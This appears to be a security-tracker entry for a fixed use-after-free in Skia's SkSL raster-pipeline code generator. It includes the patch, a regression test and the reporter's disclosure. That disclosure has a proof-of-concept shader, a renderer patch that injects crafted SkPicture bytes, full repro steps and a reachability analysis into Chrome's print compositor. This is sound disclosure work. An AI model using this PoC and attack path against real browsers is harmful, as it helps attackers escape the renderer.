Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in Skia
DescriptionUse after free in Skia
ComponentSkia
Bug ClassUAF
Tracker540157141
Fix commit5b90a364a969 (skia) +40/-8
CISA KEVNot listed
CreditedWinD39 - Huynh Dinh Vu
Disclosed2026-08-06

Changed Functions

FunctionChangeNotes
DEF_TEST
tests/RasterPipelineCodeGeneratorTest.cpp
modified

Files Changed

  • src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp
  • tests/RasterPipelineCodeGeneratorTest.cpp
From 5b90a364a9693ed275ba5a99c7ce35f9ea3243b4 Mon Sep 17 00:00:00 2001
From: Kaylee Lubick <[email protected]>
Date: Wed, 29 Jul 2026 17:34:47 +0000
Subject: [PATCH] Address incorrect handling of a map pointer in SkRP

In pushChildCall, we held on to a pointer from a fChildEffectMap
and then later dereferenced it. However, in between those
points was a code path that could grow the map, invalidating
the pointer. This is demonstrated in the newly added test.

To fix it, we just dereference it earlier. While tracking this
down, I found a suspicious other usage of the map which works
in newer C++, but could break in older versions. It's trivial
to fix Generator::writeFunction, so I handled that as well.

Bug: b/540157141
Fixed: 540157141
Change-Id: I149b070c31d4cfefa65b30972f0b8b94441e66db
Reviewed-on: https://skia-review.googlesource.com/c/skia/+/1308776
Reviewed-by: Jorge Betancourt <[email protected]>
Commit-Queue: Kaylee Lubick <[email protected]>
---

diff --git a/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp b/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp
index 484a609..730d19b 100644
--- a/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp
+++ b/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp
@@ -1422,10 +1422,13 @@
             // If we are passing a child effect to a function, we need to add its mapping to our
             // child map.
             if (arg.type().isEffectChild()) {
-                if (int* childIndex = fChildEffectMap.find(arg.as<VariableReference>()
-                                                              .variable())) {
+                if (int* childIndexPtr =
+                            fChildEffectMap.find(arg.as<VariableReference>().variable())) {
+                    // In earlier C++ versions, the map assignment could cause the map to be
+                    // resized, invalidating the pointer.
+                    int childIndex = *childIndexPtr;
                     SkASSERT(!fChildEffectMap.find(&param));
-                    fChildEffectMap[&param] = *childIndex;
+                    fChildEffectMap[&param] = childIndex;
                 }
                 continue;
             }
@@ -2809,8 +2812,9 @@
 }
 
 bool Generator::pushChildCall(const ChildCall& c) {
-    int* childIdx = fChildEffectMap.find(&c.child());
-    SkASSERT(childIdx != nullptr);
+    int* childIdxPtr = fChildEffectMap.find(&c.child());
+    SkASSERT(childIdxPtr != nullptr);
+    int childIdx = *childIdxPtr;  // Save this in case pushExpression changes fChildEffectMap
     SkASSERT(!c.arguments().empty());
 
     // All child calls have at least one argument.
@@ -2832,7 +2836,7 @@
 
             // Move the argument into src.rgba while also preserving the execution mask.
             fBuilder.exchange_src();
-            fBuilder.invoke_shader(*childIdx);
+            fBuilder.invoke_shader(childIdx);
             break;
         }
         case Type::TypeKind::kColorFilter: {
@@ -2843,7 +2847,7 @@
 
             // Move the argument into src.rgba while also preserving the execution mask.
             fBuilder.exchange_src();
-            fBuilder.invoke_color_filter(*childIdx);
+            fBuilder.invoke_color_filter(childIdx);
             break;
         }
         case Type::TypeKind::kBlender: {
@@ -2861,7 +2865,7 @@
             }
             fBuilder.pop_dst_rgba();
             fBuilder.exchange_src();
-            fBuilder.invoke_blender(*childIdx);
+            fBuilder.invoke_blender(childIdx);
             break;
         }
         default: {
diff --git a/tests/RasterPipelineCodeGeneratorTest.cpp b/tests/RasterPipelineCodeGeneratorTest.cpp
index bf79c6c..ad2388b 100644
--- a/tests/RasterPipelineCodeGeneratorTest.cpp
+++ b/tests/RasterPipelineCodeGeneratorTest.cpp
@@ -328,3 +328,31 @@
     bool success = rasterProg->appendStages(&pipeline, &alloc, /*callbacks=*/nullptr, {});
     REPORTER_ASSERT(r, !success, "appendStages should fail for very large program");
 }
+
+DEF_TEST(SkSLRasterPipeline_ConvertProgram_b540157141, r) {
+    const char* src = R"__SkSL__(
+        uniform shader c0;
+        uniform shader c1;
+        uniform shader c2;
+        // The noinline is important for reproduction. It is also important that
+        // one of the args be an "EffectChild" to cause fChildEffectMap to grow.
+        noinline half4 f(shader s, float2 p) {
+            return s.eval(p);
+        }
+        half4 main(float2 p) {
+            return c0.eval(float2(f(c1, p).xy) + p);
+        }
+    )__SkSL__";
+
+    SkSL::Compiler compiler;
+    SkSL::ProgramSettings settings;
+    std::unique_ptr<SkSL::Program> program = compiler.convertProgram(
+            SkSL::ProgramKind::kPrivateRuntimeShader, std::string(src), settings);
+    SkASSERTF_RELEASE(program, "Unexpected error compiling %s", compiler.errorText().c_str());
+    const SkSL::FunctionDeclaration* main = program->getFunction("main");
+    SkASSERTF_RELEASE(main, "main is missing!?");
+    // With the buggy code, this triggered a UAF
+    std::unique_ptr<SkSL::RP::Program> rasterProg =
+            SkSL::MakeRasterPipelineProgram(*program, *main->definition());
+    REPORTER_ASSERT(r, rasterProg);
+}
Loading diff…

Original Bug Report

reported by [email protected]

Security: heap-use-after-free in SkSL::RP::Generator::pushChildCall, reachable in the print compositor utility process from a compromised renderer

What I found

While auditing the SkSL raster-pipeline code generator I found that SkSL::RP::Generator::pushChildCall caches a raw pointer into a hash table across a recursive call that can grow and reallocate that same hash table.

In third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:2811:

bool Generator::pushChildCall(const ChildCall& c) {
    int* childIdx = fChildEffectMap.find(&c.child());   // :2812  pointer into the slot array
    SkASSERT(childIdx != nullptr);
    SkASSERT(!c.arguments().empty());

    // All child calls have at least one argument.
    const Expression* arg = c.arguments()[0].get();
    if (!this->pushExpression(*arg)) {                  // :2818  recurses arbitrarily deep
        return unsupported();
    }
    ...
            fBuilder.invoke_shader(*childIdx);          // :2835  dereference

If the argument expression contains a call to a user-defined function that takes a child effect as a parameter, the recursion at :2818 reaches Generator::writeFunction, which inserts into the very same map at SkSLRasterPipelineCodeGenerator.cpp:1428:

if (arg.type().isEffectChild()) {
    if (int* childIndex = fChildEffectMap.find(arg.as<VariableReference>().variable())) {
        SkASSERT(!fChildEffectMap.find(&param));
        fChildEffectMap[&param] = *childIndex;          // :1428  calls set()
    }
    continue;
}

THashTable::set grows when 4 * fCount >= 3 * fCapacity (src/core/SkTHash.h:109-112), and resize() swaps in a fresh slot array at src/core/SkTHash.h:194-195, destroying the old one. The childIdx that pushChildCall is still holding now points into freed memory, and :2835 reads through it.

The header states the invariant it is being used against, verbatim, at src/core/SkTHash.h:99:

// The pointers returned by set() and find() are valid only until the next call to set().
// The pointers you receive in foreach() are only valid for its duration.

pushChildCall holds a find() pointer across a recursive call that reaches set().

ASAN report

This is the full report from the print-compositor utility process, run t1. The free frame #6 and the use frame #0 are the same pushChildCall invocation.

=================================================================
==3318493==ERROR: AddressSanitizer: heap-use-after-free on address 0x7bc8315fac28 at pc 0x7f18b8a9d033 bp 0x7ffdbfd73e30 sp 0x7ffdbfd73e28
READ of size 4 at 0x7bc8315fac28 thread T0 (chrome)
    #0 0x7f18b8a9d032 in SkSL::RP::Generator::pushChildCall(SkSL::ChildCall const&) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:2835:36
    #1 0x7f18b8a99dfd in SkSL::RP::Generator::writeReturnStatement(SkSL::ReturnStatement const&) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:2064:20
    #2 0x7f18b8a97103 in SkSL::RP::Generator::writeBlock(SkSL::Block const&) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:1725:20
    #3 0x7f18b8a93b77 in SkSL::RP::Generator::writeFunction(SkSL::IRNode const&, SkSL::FunctionDefinition const&, SkSpan<std::__Cr::unique_ptr<SkSL::Expression, std::__Cr::default_delete<SkSL::Expression>> const>) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:1497:16
    #4 0x7f18b8aaa53f in SkSL::RP::Generator::writeProgram(SkSL::FunctionDefinition const&) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:4057:49
    #5 0x7f18b8aaaefe in SkSL::MakeRasterPipelineProgram(SkSL::Program const&, SkSL::FunctionDefinition const&, SkSL::DebugTracePriv*, bool) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:4094:20
    #6 0x7f18b9717e4c in SkRuntimeEffect::getRPProgram(SkSL::DebugTracePriv*) const third_party/skia/src/core/SkRuntimeEffect.cpp:267:62
    #7 0x7f18b97dc684 in SkRuntimeShader::appendStages(SkStageRec const&, SkShaders::MatrixRec const&) const third_party/skia/src/shaders/SkRuntimeShader.cpp:86:53
    #8 0x7f18b97df9aa in SkShaderBase::appendRootStages(SkStageRec const&, SkMatrix const&) const third_party/skia/src/shaders/SkShaderBase.cpp:132:18
    #9 0x7f18b96caaa9 in create_pipeline_for_blitter(SkPixmap const&, SkPaint const&, SkMatrix const&, SkArenaAlloc*, SkSurfaceProps const&, SkRasterPipeline*, SkRGBA4f<(SkAlphaType)3>*, bool*, bool*, SkRect const&) third_party/skia/src/core/SkRasterPipelineBlitter.cpp:182:17
    #10 0x7f18b96ca3de in SkCreateRasterPipelineBlitter(SkPixmap const&, SkPaint const&, SkMatrix const&, SkArenaAlloc*, sk_sp<SkShader>, SkSurfaceProps const&, SkRect const&) third_party/skia/src/core/SkRasterPipelineBlitter.cpp:205:10
    #11 0x7f18b948c8ff in SkBlitter::Choose(SkPixmap const&, SkMatrix const&, SkPaint const&, SkArenaAlloc*, SkDrawCoverage, sk_sp<SkShader>, SkSurfaceProps const&, SkRect const&) third_party/skia/src/core/SkBlitter.cpp:714:24
    #12 0x7f18b95198c2 in skcpu::Draw::drawPaint(SkPaint const&) const third_party/skia/src/core/SkAutoBlitterChoose.h:50:20
    #13 0x7f18b9470269 in SkBitmapDevice::drawPaint(SkPaint const&) third_party/skia/src/core/SkBitmapDevice.cpp:360:18
    #14 0x7f18b94d12f9 in SkCanvas::internalDrawPaint(SkPaint const&) third_party/skia/src/core/SkCanvas.cpp:1935:28
    #15 0x7f18b94ccbff in SkCanvas::drawPaint(SkPaint const&) third_party/skia/src/core/SkCanvas.cpp:1693:11
    #16 0x7f18b9589e06 in skif::FilterResult::Builder::drawShader(sk_sp<SkShader>, skif::LayerSpace<SkIRect> const&, bool) const third_party/skia/src/core/SkImageFilterTypes.cpp:2074:18
    #17 0x7f18b984a12c in SkRuntimeImageFilter::onFilterImage(skif::Context const&) const third_party/skia/src/core/SkImageFilterTypes.h:1073:22
    #18 0x7f18b9567ab3 in SkImageFilter_Base::filterImage(skif::Context const&) const third_party/skia/src/core/SkImageFilter.cpp:256:20
    #19 0x7f18b94bfd16 in SkCanvas::internalDrawDeviceWithFilter(SkDevice*, SkDevice*, SkSpan<sk_sp<SkImageFilter>>, SkPaint const&, SkCanvas::DeviceCompatibleWithFilter, SkColorInfo const&, float, SkTileMode, bool) third_party/skia/src/core/SkCanvas.cpp:855:48
    #20 0x7f18b94b8b68 in SkCanvas::internalRestore() third_party/skia/src/core/SkCanvas.cpp:1182:23
    #21 0x7f18b94ba1a1 in SkCanvas::restore() third_party/skia/src/core/SkCanvas.cpp:472:19
    #22 0x7f18b96eaabc in decltype(fp((SkRecords::NoOp)())) SkRecord::Record::visit<SkRecords::Draw&>(SkRecords::Draw&) const third_party/skia/src/core/SkRecordDraw.cpp:99:15
    #23 0x7f18b96e9ac8 in SkRecordDraw(SkRecord const&, SkCanvas*, SkPicture const* const*, SkDrawable* const*, int, SkBBoxHierarchy const*, SkPicture::AbortCallback*) third_party/skia/src/core/SkRecord.h:47:28
    #24 0x7f18b9465dc0 in SkBigPicture::playback(SkCanvas*, SkPicture::AbortCallback*) const third_party/skia/src/core/SkBigPicture.cpp:37:5
    #25 0x7f18b94def1e in SkCanvas::onDrawPicture(SkPicture const*, SkMatrix const*, SkPaint const*) third_party/skia/src/core/SkCanvas.cpp:2913:14
    #26 0x7f18b94deada in SkCanvas::drawPicture(SkPicture const*, SkMatrix const*, SkPaint const*) third_party/skia/src/core/SkCanvas.cpp:2902:15
    #27 0x7f18b96ec13a in decltype(fp((SkRecords::NoOp)())) SkRecord::Record::visit<SkRecords::Draw&>(SkRecords::Draw&) const third_party/skia/src/core/SkRecord.h:155:52
    #28 0x7f18b96e9ac8 in SkRecordDraw(SkRecord const&, SkCanvas*, SkPicture const* const*, SkDrawable* const*, int, SkBBoxHierarchy const*, SkPicture::AbortCallback*) third_party/skia/src/core/SkRecord.h:47:28
    #29 0x7f18b9465dc0 in SkBigPicture::playback(SkCanvas*, SkPicture::AbortCallback*) const third_party/skia/src/core/SkBigPicture.cpp:37:5
    #30 0x7f18b94def1e in SkCanvas::onDrawPicture(SkPicture const*, SkMatrix const*, SkPaint const*) third_party/skia/src/core/SkCanvas.cpp:2913:14
    #31 0x7f18b94deada in SkCanvas::drawPicture(SkPicture const*, SkMatrix const*, SkPaint const*) third_party/skia/src/core/SkCanvas.cpp:2902:15
    #32 0x7f18b96ec13a in decltype(fp((SkRecords::NoOp)())) SkRecord::Record::visit<SkRecords::Draw&>(SkRecords::Draw&) const third_party/skia/src/core/SkRecord.h:155:52
    #33 0x7f18b96e9ac8 in SkRecordDraw(SkRecord const&, SkCanvas*, SkPicture const* const*, SkDrawable* const*, int, SkBBoxHierarchy const*, SkPicture::AbortCallback*) third_party/skia/src/core/SkRecord.h:47:28
    #34 0x7f18b9465dc0 in SkBigPicture::playback(SkCanvas*, SkPicture::AbortCallback*) const third_party/skia/src/core/SkBigPicture.cpp:37:5
    #35 0x7f18b94dea78 in SkCanvas::drawPicture(SkPicture const*, SkMatrix const*, SkPaint const*) third_party/skia/src/core/SkCanvas.cpp:2900:18
    #36 0x55e4de12ca98 in printing::PrintCompositorImpl::DrawPage(SkDocument*, SkDocumentPage const&) third_party/skia/include/core/SkCanvas.h:2015:15
    #37 0x55e4de12b663 in printing::PrintCompositorImpl::CompositePages(base::span<unsigned char const, 18446744073709551615ul, unsigned char const*>, base::flat_map<unsigned int, unsigned long, ...> const&, base::ReadOnlySharedMemoryRegion*) components/services/print_compositor/print_compositor_impl.cc:428:5
    #38 0x55e4de12cc64 in printing::PrintCompositorImpl::FulfillRequest(...) components/services/print_compositor/print_compositor_impl.cc:501:7
    #39 0x55e4de1293ce in printing::PrintCompositorImpl::HandleCompositionRequest(...) components/services/print_compositor/print_compositor_impl.cc:356:7
    #40 0x55e4de12983a in printing::PrintCompositorImpl::CompositeDocument(...) components/services/print_compositor/print_compositor_impl.cc:224:3
    #41 0x55e4d3a97608 in printing::mojom::PrintCompositorStubDispatch::AcceptWithResponder(printing::mojom::PrintCompositor*, mojo::Message*, std::__Cr::unique_ptr<mojo::MessageReceiverWithStatus, ...>) gen/components/services/print_compositor/public/mojom/print_compositor.mojom.cc:1993:13
    #42 0x7f18bb96fe41 in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1036:56
    #43 0x7f18bb98734b in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
    #44 0x7f18bb975754 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
    #45 0x7f18bb996a90 in mojo::internal::MultiplexRouter::ProcessIncomingMessage(...) mojo/public/cpp/bindings/lib/multiplex_router.cc:1223:42
    #46 0x7f18bb9952a0 in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:809:7
    #47 0x7f18bb98734b in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
    #48 0x7f18bb95b996 in mojo::Connector::DispatchMessage(mojo::ScopedHandleBase<mojo::MessageHandle>) mojo/public/cpp/bindings/lib/connector.cc:571:49
    #49 0x7f18bb95d1ee in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:632:14
    #50 0x7f18bb95e414 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #51 0x7f18bd88de8f in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #52 0x7f18bd905cee in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:114:5
    #53 0x7f18bd904c18 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:341:40
    #54 0x7f18bd73167a in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:66:55
    #55 0x7f18bd9073db in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:656:12
    #56 0x7f18bd802277 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
    #57 0x7f18a0cb7735 in content::UtilityMain(content::MainFunctionParams) content/utility/utility_main.cc:518:12
    #58 0x7f18a0dfd24b in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:666:14
    #59 0x7f18a0dfe31d in content::RunOtherNamedProcessTypeMain(...) content/app/content_main_runner_impl.cc:773:12
    #60 0x7f18a0e00ab6 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1165:10
    #61 0x7f18a0dfb10b in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:356:36
    #62 0x7f18a0dfb48a in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:369:10
    #63 0x55e4cf0997f4 in ChromeMain chrome/app/chrome_main.cc:221:12
    #64 0x7f1842569d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

0x7bc8315fac28 is located 72 bytes inside of 104-byte region [0x7bc8315fabe0,0x7bc8315fac48)
freed by thread T0 (chrome) here:
    #0 0x55e4cf098526 in operator delete[](void*, unsigned long) (/root/cr-build/src/out/asan/chrome+0x6859526) (BuildId: b73009f06839509a)
    #1 0x7f18b8a92db9 in SkSL::RP::Generator::writeFunction(SkSL::IRNode const&, SkSL::FunctionDefinition const&, SkSpan<std::__Cr::unique_ptr<SkSL::Expression, std::__Cr::default_delete<SkSL::Expression>> const>) third_party/skia/src/core/SkTHash.h:112:19
    #2 0x7f18b8a9d8da in SkSL::RP::Generator::pushFunctionCall(SkSL::FunctionCall const&) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:3013:40
    #3 0x7f18b8a9e63b in SkSL::RP::Generator::pushSwizzle(SkSL::Swizzle const&) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:3768:16
    #4 0x7f18b8a9d0f7 in SkSL::RP::Generator::pushConstructorCast(SkSL::AnyConstructor const&) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:2884:16
    #5 0x7f18b8aa1089 in SkSL::RP::Generator::pushBinaryExpression(SkSL::Expression const&, SkSL::Operator, SkSL::Expression const&) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:2319:27
    #6 0x7f18b8a9cd95 in SkSL::RP::Generator::pushChildCall(SkSL::ChildCall const&) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:2818:16
    #7 0x7f18b8a99dfd in SkSL::RP::Generator::writeReturnStatement(SkSL::ReturnStatement const&) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:2064:20
    #8 0x7f18b8a97103 in SkSL::RP::Generator::writeBlock(SkSL::Block const&) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:1725:20
    #9 0x7f18b8a93b77 in SkSL::RP::Generator::writeFunction(...) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:1497:16
    #10 0x7f18b8aaa53f in SkSL::RP::Generator::writeProgram(SkSL::FunctionDefinition const&) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:4057:49
    #11 0x7f18b8aaaefe in SkSL::MakeRasterPipelineProgram(...) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:4094:20
    #12 0x7f18b9717e4c in SkRuntimeEffect::getRPProgram(SkSL::DebugTracePriv*) const third_party/skia/src/core/SkRuntimeEffect.cpp:267:62
    (remaining frames identical to the READ stack above, down through
     SkRuntimeImageFilter::onFilterImage / SkBigPicture::playback / PrintCompositorImpl::DrawPage)

previously allocated by thread T0 (chrome) here:
    #0 0x55e4cf0978d1 in operator new[](unsigned long) (/root/cr-build/src/out/asan/chrome+0x68588d1) (BuildId: b73009f06839509a)
    #1 0x7f18b8ab357c in skia_private::THashTable<skia_private::THashMap<SkSL::Variable const*, int, SkGoodHash>::Pair, SkSL::Variable const*, skia_private::THashMap<SkSL::Variable const*, int, SkGoodHash>::Pair>::resize(int) third_party/skia/src/core/SkTHash.h:195:22
    #2 0x7f18b8a9656a in SkSL::RP::Generator::writeGlobals() third_party/skia/src/core/SkTHash.h:112:19
    #3 0x7f18b8aaa520 in SkSL::RP::Generator::writeProgram(SkSL::FunctionDefinition const&) third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:4052:16
    (remaining frames identical to the READ stack above)

SUMMARY: AddressSanitizer: heap-use-after-free third_party/skia/src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp:2835:36 in SkSL::RP::Generator::pushChildCall(SkSL::ChildCall const&)

Command line: `/proc/self/exe --type=utility --utility-sub-type=printing.mojom.PrintCompositor --lang=en-US --service-sandbox-type=print_compositor --host-resolver-rules=MAP *.test 127.0.0.1 --no-sandbox --disable-dev-shm-usage --use-angle=swiftshader-webgl --crashpad-handler-pid=3317730 --enable-crash-reporter=, --noerrdialogs --user-data-dir=.../run_t1/ud --change-stack-guard-on-fork=enable --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,... --disable-features=PaintHolding --variations-seed-version --pseudonymization-salt-handle=7,i,... --trace-process-track-uuid=3190708998493415531 --enable-logging=stderr`

MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.

The crashing pid was independently confirmed to be the print compositor by a 4 Hz ps sampler running alongside the browser:

[1785313970.632] 3318493 3317740 /root/cr-build/src/out/asan/chrome --type=utility --utility-sub-type=printing.mojom.PrintCompositor --lang=en-US --service-sandbox-type=print_compositor ...

The PoC shader

childcall_uaf.rts, 182 bytes, sha256 411ccec32d41eb40ec9f5826e7eca3540598e9fae4b0d320b3a19494bf4ff1dc:

uniform shader c0;
uniform shader c1;
uniform shader c2;
noinline half4 f(shader s, float2 p) { return s.eval(p); }
half4 main(float2 p) { return c0.eval(float2(f(c1, p).xy) + p); }

c0.eval(...) is the ChildCall whose slot pointer is cached at :2812. Its argument contains f(c1, p), which passes a child effect as a function argument, so writeFunction inserts &param into fChildEffectMap while that pointer is live. noinline keeps the optimizer from removing the function call.

childcall_uaf.skp, 478 bytes, sha256 56e87e6ff6ab7d5b286c9169086849f1645e67d9b8575bb5da31033bb3dbe243, is a serialized SkPicture containing a single saveLayer whose paint carries an SkRuntimeImageFilter flattenable built from that shader.

Determinism

The crash is fully deterministic and lands exactly on the THashTable grow points. writeGlobals populates fChildEffectMap with one entry per uniform shader global, and the insert in writeFunction is the one that pushes it over 4 * fCount >= 3 * fCapacity. Sweeping the number of shader globals N:

N=1  clean    N=2  clean    N=3  UAF
N=4  clean    N=5  clean    N=6  UAF
N=7  clean    N=8  clean    N=11 clean
N=12 UAF      N=13 clean

3, 6 and 12 are precisely the counts at which capacity 4, 8 and 16 reallocate. Three consecutive runs of the full browser repro all produced the identical signature, and the negative control produced a normal PDF. A fourth run several hours later reproduced it again.

Repro steps

Build (unmodified upstream Chromium at src HEAD 0f9ed52dddfeb86f328018d632b0806249e76243, skia ab3a7b98c94ddccdec51883ededc18dd18ca0917, chrome/VERSION 152.0.7941.0), plus the single renderer patch below:

is_asan = true
is_lsan = false
is_debug = false
dcheck_always_on = false
symbol_level = 1
is_component_build = true
enable_nacl = false
target_cpu = "x64"
  1. Apply the patch in the next section (compromised_renderer.patch) and build chrome.
  2. Serve two origins from one static directory on port 8901. top.html is loaded from a.test and embeds <iframe src="http://b.test:8901/frame.html">; the cross-site child forces the OOPIF print path so that the frame content really is serialized in a renderer, sent over mojo and composited by the utility process.
  3. Launch:
ASAN_OPTIONS=log_path=<run>/asan:external_symbolizer_path=<...>/llvm-symbolizer:detect_leaks=0:halt_on_error=1:abort_on_error=0:symbolize=1:print_stacktrace=1:handle_abort=1 \
CHROME_COMPROMISED_RENDERER_SKP=<...>/childcall_uaf.skp \
out/asan/chrome --headless --no-sandbox --disable-gpu --disable-dev-shm-usage \
  --user-data-dir=<run>/ud "--host-resolver-rules=MAP *.test 127.0.0.1" --site-per-process \
  --no-first-run --no-default-browser-check --disable-background-networking \
  --disable-component-update --remote-debugging-port=9597 --remote-allow-origins=* \
  --enable-logging=stderr about:blank

The ASAN options have to be passed inside the ASAN_OPTIONS string rather than relying on a log-path default, because the zygote-forked utility process has its /proc/<pid>/environ clobbered.

  1. Over CDP, navigate to http://a.test:8901/top.html, wait for load, then issue Page.printToPDF.
  2. The renderer logs the substitution and the compositor dies:
[3317998:3317998:0729/083250.148507:ERROR:printing/metafile_skia.cc:280] [COMPROMISED-RENDERER-SIM] replaced 142026 serialized bytes with 478 attacker bytes from .../childcall_uaf.skp

pid 3317998 is the b.test renderer, pid 3318493 is the print compositor. The bytes crossed the process boundary.

  1. Negative control: run the same binary with CHROME_COMPROMISED_RENDERER_SKP unset. Page.printToPDF completes in 0.2 s with a 32,123 byte PDF, no ASAN log, and the sampler still shows the printing.mojom.PrintCompositor process in the loop.

The patch, and why it is there

docs/security/vrp-faq.md:113-120 allows a patch that is explained as part of the repro steps when its purpose is to simulate a compromised renderer. That is what this is. It touches one file, adds 32 lines, and lives entirely in the renderer. Nothing in the browser process and nothing in the print compositor is modified, and with the environment variable unset the added code is a no-op, so the same binary serves as its own control.

diff --git a/printing/metafile_skia.cc b/printing/metafile_skia.cc
--- a/printing/metafile_skia.cc
+++ b/printing/metafile_skia.cc
@@ -14,6 +14,7 @@
 #include "base/functional/bind.h"
+#include "base/logging.h"  // PoC
@@ -26,6 +27,7 @@
 #include "third_party/skia/include/core/SkCanvas.h"
+#include "third_party/skia/include/core/SkData.h"  // PoC
@@ -253,6 +255,36 @@ void MetafileSkia::FinishFrameContent() {
   SkDynamicMemoryWStream stream;
   pic->serialize(&stream, &procs);
   data_->data_stream = stream.detachAsStream();
+
+  // === BEGIN compromised-renderer simulation -- NOT a suggested fix ===
+  // Reason for this patch (VRP FAQ: patches that "simulate a compromised
+  // renderer" are permitted when explained): the bytes produced here are the
+  // frame-content metafile the renderer hands to the browser, which forwards
+  // them verbatim to the print-compositor utility process, where they are
+  // deserialized with SkDeserialProcs::fAllowSkSL still at its default value
+  // of true.  A compromised renderer controls these bytes completely; a normal
+  // web page cannot author an SkRuntimeEffect because Blink exposes no binding
+  // for one.  This patch substitutes the attacker-chosen SkPicture for the one
+  // the honest renderer just serialized.  No browser-process code and no
+  // print-compositor code is modified: everything downstream is stock Chrome.
+  if (const char* poc_path = getenv("CHROME_COMPROMISED_RENDERER_SKP")) {
+    FILE* f = fopen(poc_path, "rb");
+    if (f) {
+      fseek(f, 0, SEEK_END);
+      long n = ftell(f);
+      fseek(f, 0, SEEK_SET);
+      sk_sp<SkData> evil = SkData::MakeUninitialized(static_cast<size_t>(n));
+      size_t got = fread(evil->writable_data(), 1, static_cast<size_t>(n), f);
+      fclose(f);
+      if (got == static_cast<size_t>(n)) {
+        LOG(ERROR) << "[COMPROMISED-RENDERER-SIM] replaced "
+                   << data_->data_stream->getLength() << " serialized bytes "
+                   << "with " << n << " attacker bytes from " << poc_path;
+        data_->data_stream = SkMemoryStream::Make(std::move(evil));
+      }
+    }
+  }
+  // === END compromised-renderer simulation ===
 }

I also reproduced the identical crash with a second, independent injection point, a hook in SkMultiPictureDocument::onBeginPage (the only place in Chromium that writes an MSKP, which is the renderer-side print metafile writer). Same signature, same process, three for three. I can provide those logs as well.

Reachability

MetafileSkia::FinishFrameContent is the renderer-side serializer for OOPIF frame content (printing/metafile_skia.cc:216 SkMultiPictureDocument::Make, :254 pic->serialize). The browser forwards those bytes to the print compositor without inspecting them (components/printing/browser/print_composite_client.cc), and PrintCompositorImpl deserializes them in the utility process.

The deserialization procs the compositor installs set only image, picture and typeface hooks (printing/common/metafile_utils.cc:614-626), so SkDeserialProcs::fAllowSkSL keeps its default of true (include/core/SkSerialProcs.h:120, mirrored into SkReadBuffer::fAllowSkSL at src/core/SkReadBuffer.h:284 via SkReadBuffer.cpp:88). SkRuntimeImageFilter::CreateProc checks exactly that flag at src/effects/imagefilters/SkRuntimeImageFilter.cpp:160 and then compiles the attacker’s SkSL at :166 through SkMakeCachedRuntimeEffect. SkRuntimeShader::CreateProc does the same at src/shaders/SkRuntimeShader.cpp:129 and :145.

SkMakeCachedRuntimeEffect unconditionally opts into the private dialect: src/core/SkRuntimeEffect.cpp:721-722 constructs SkRuntimeEffect::Options and calls SkRuntimeEffectPriv::AllowPrivateAccess(&options) with no caller-controlled gate. That matters here because a shader, colorFilter or blender function parameter is rejected outright in the public dialect at src/sksl/ir/SkSLFunctionDeclaration.cpp:105-110, and it is precisely that construct which drives the map insertion inside writeFunction. Going through the deserialization path is therefore what unlocks the bug.

